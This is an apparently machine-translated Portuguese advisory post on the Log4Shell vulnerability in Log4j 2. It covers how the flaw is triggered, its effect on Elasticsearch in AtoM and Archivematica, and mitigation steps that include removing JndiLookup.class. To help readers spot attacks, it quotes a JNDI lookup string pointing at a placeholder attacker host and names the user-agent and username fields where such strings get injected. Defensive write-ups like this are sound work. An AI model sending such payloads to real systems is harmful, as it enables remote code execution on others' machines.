Brute Force Group
Log4j 2 é uma biblioteca de registro baseada em Java amplamente usada no desenvolvimento de sistemas de negócios, incluída em várias bibliotecas de código aberto e diretamente incorporada nos principais aplicativos de software. O escopo do impacto se expandiu para milhares de produtos e dispositivos, incluindo produtos Apache, como Struts 2, Solr, Druid, Flink e Swift. Como essa vulnerabilidade está em uma biblioteca Java, a natureza de plataforma cruzada do Java significa que a vulnerabilidade pode ser explorada em muitas plataformas, incluindo Windows e Linux. Como muitos aplicativos baseados em Java podem aproveitar o Log4j 2, as organizações devem entrar em contato com os fornecedores de aplicativos e hardware ou garantir que seus aplicativos Java estejam executando a versão mais recente.
A vulnerabilidade pode permitir a execução remota de código não autenticado e é disparada quando uma string especialmente criada fornecida pelo invasor por meio de uma variedade de vetores de entrada diferentes é analisada e processada pelo componente vulnerável Log4j 2.
A string especialmente criada que permite a execução desta vulnerabilidade pode ser identificada por meio de vários componentes. A sequência contém jdni , que se refere à Java Directory Naming Interface. Em seguida, o protocolo como ldap , ldaps , rmi , dns ou http precede o domínio do invasor.
Depois que o invasor tem acesso e controle total do aplicativo, ele pode realizar uma infinidade de objetivos. A Microsoft observou atividades pós-exploração, incluindo a instalação de mineradores de moedas, Cobalt Strike para permitir o roubo de credenciais e o movimento lateral, e a extração de dados confidenciais de sistemas.
A execução desta vulnerabilidade aproveita a opção log4j2.formatMsgNoLookups na configuração da biblioteca sendo definida como False . Para atenuar essa ameaça, atualize as instâncias do Log4j para a versão 2.15.0 e certifique-se de que a opção log4j2.formatMsgNoLookups na configuração da biblioteca esteja definida como True . Log4j versão 2.10.0 a 2.14.1 tem esta opção definida como False por padrão - se a atualização não for uma opção, edite manualmente a opção para True. Todos os sistemas, incluindo aqueles que não são voltados para o cliente, são potencialmente vulneráveis a essa exploração, portanto, sistemas de back-end e microsserviços também devem ser atualizados. Para projetos Apache Maven ou Gradle, atualize Log4j para 2.15.0 na árvore de dependência do projeto.
É uma vulnerabilidade de execução remota de código que pode permitir que um invasor não autenticado obtenha acesso completo a um sistema de destino. Ele pode ser acionado quando uma string especialmente criada é analisada e processada pelo componente Log4j 2 vulnerável. Isso pode acontecer por meio de qualquer entrada fornecida pelo usuário.
A maior parte dos ataques que observamos até o momento estão relacionados à varredura em massa por invasores que tentam tirar impressões digitais de sistemas vulneráveis, bem como varredura por empresas e pesquisadores de segurança. Um exemplo de padrão de ataque apareceria em um registro de solicitação da web com strings como o seguinte:
$ {jndi: ldap: // [site do invasor] / a}
Um invasor executa uma solicitação https em seu sistema de destino, que gera um log usando Log4j que aproveita o JNDI para realizar uma solicitação ao site controlado pelo invasor. A vulnerabilidade fará com que o processo explorado chegue ao site e execute a carga útil. Em muitos ataques observados, o parâmetro de propriedade do invasor é um sistema de registro DNS, destinado a registrar uma solicitação no site para obter a impressão digital dos sistemas vulneráveis.
Dado o fato de que o código de registro e as funcionalidades em aplicativos e serviços são normalmente projetados para processar uma variedade de dados de entrada externos provenientes de camadas superiores e de muitos vetores possíveis, o maior fator de risco desta vulnerabilidade é prever se um aplicativo tem um vetor de ataque viável caminho que permitirá que a string de exploração malformada alcance o código Log4j 2 vulnerável e acione o ataque.
Um padrão comum de risco de exploração, por exemplo, é um aplicativo da web com código projetado para processar nomes de usuário, referenciador ou strings de agente de usuário em logs. Essas strings são fornecidas como entrada externa (por exemplo, um aplicativo da web construído com Apache Struts). Um invasor pode enviar um nome de usuário malformado ou definir o agente de usuário com a string de exploração criada, esperando que essa entrada externa seja processada em algum ponto pelo código Log4j 2 vulnerável e acione a execução do código.
O que Log4j tem a ver com Elasticsearch?
Elasticsearch é a biblioteca de índice de pesquisa usada em AtoM e Archivematica para oferecer suporte à indexação, navegação e funcionalidade de pesquisa.
Elasticsearch usa a biblioteca Log4j para lidar com o registro. Mesmo se você não configurou ativamente o registro adicional, o pacote terá sido instalado ao instalar o Elasticsearch como parte da sua instalação AtoM ou Archivematica.
Para obter informações mais detalhadas da equipe Elastic, consulte: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
O que Log4j tem a ver com Java?
Log4j é uma ferramenta baseada em Java. Java é uma linguagem de programação e plataforma de computação lançada pela primeira vez pela Sun Microsystems em 1995 e mantida atualmente pela Oracle. Java é um termo geral usado para denotar o software e seus componentes, que incluem 'Java Runtime Environment' (JRE), 'Java Virtual Machine' (JVM) e também 'Plug-in'.
A vulnerabilidade não é causada por Java diretamente, mas sim como o Log4j trata as solicitações. No entanto, garantir que você tenha a versão mais atualizada do Java instalada é sempre uma boa ideia, e o site do Oracle Java também inclui outras dicas gerais para garantir a segurança da instalação do Java: https://www.java.com/en/download/help/security-tips.html
Você pode ler o anúncio da Oracle sobre esta vulnerabilidade em seu blog, aqui: https://blogs.oracle.com/security/post/cve-2021-44228
Qual é a correção recomendada para esta vulnerabilidade?
Se descobrirmos mais informações que contradizem as recomendações atuais, editaremos esta página com atualizações e links para outras fontes.
Enquanto isso, com base nas diferentes versões do Elasticsearch usadas no AtoM e no Archivematica, a seguir estão as maneiras menos perturbadoras que encontramos para garantir que sua instalação não seja mais vulnerável:
ACCESS TO MEMORY
Instale o pacote zip: apt-get install zip (Debian / Ubuntu) ou yum install zip (RedHat / CentOS)
Alterar diretórios: cd /usr/share/elasticsearch/lib/
Execute a seguinte linha para remover o arquivo problemático:zip -q -d log4j-core - *. jar org / apache / logging / log4j / core / lookup / JndiLookup.class
Reinicie o serviço ElasticSearch com: service elasticsearch restart
Felipe Perin
Especialista em Segurança da Informação, Entusiasta em Software Livre, Palestrante e Consultor em Preservação de Acervos. Com expertise em SIEM, Pentest, Hardening, Honeypot, WAF - Web Application Firewall, ISO 27001, SDL - Secure Development Lyfecicle, e-GOV, e-PING (Padrão de Interoperabilidade), e-MAG (Padrão de Acessibilidade), e-PWG (Administração, Codificação, Redação Web e Usabilidade), 5S, Archivematica, Atom2 - Access to Memory, OJS - Open Journal System, Virtualização, Scan de Vulnerabilidades, Data Protection Office ou Encarregado de Proteção de Dados, Monitoramento de Ativos, Backup, Resposta à Incidentes de Segurança, Gestão de Risco e Conformidade, Software Livre, Log Management, Offshore Surveyor e Projetos Ecos sustentáveis (TI-VERDE)
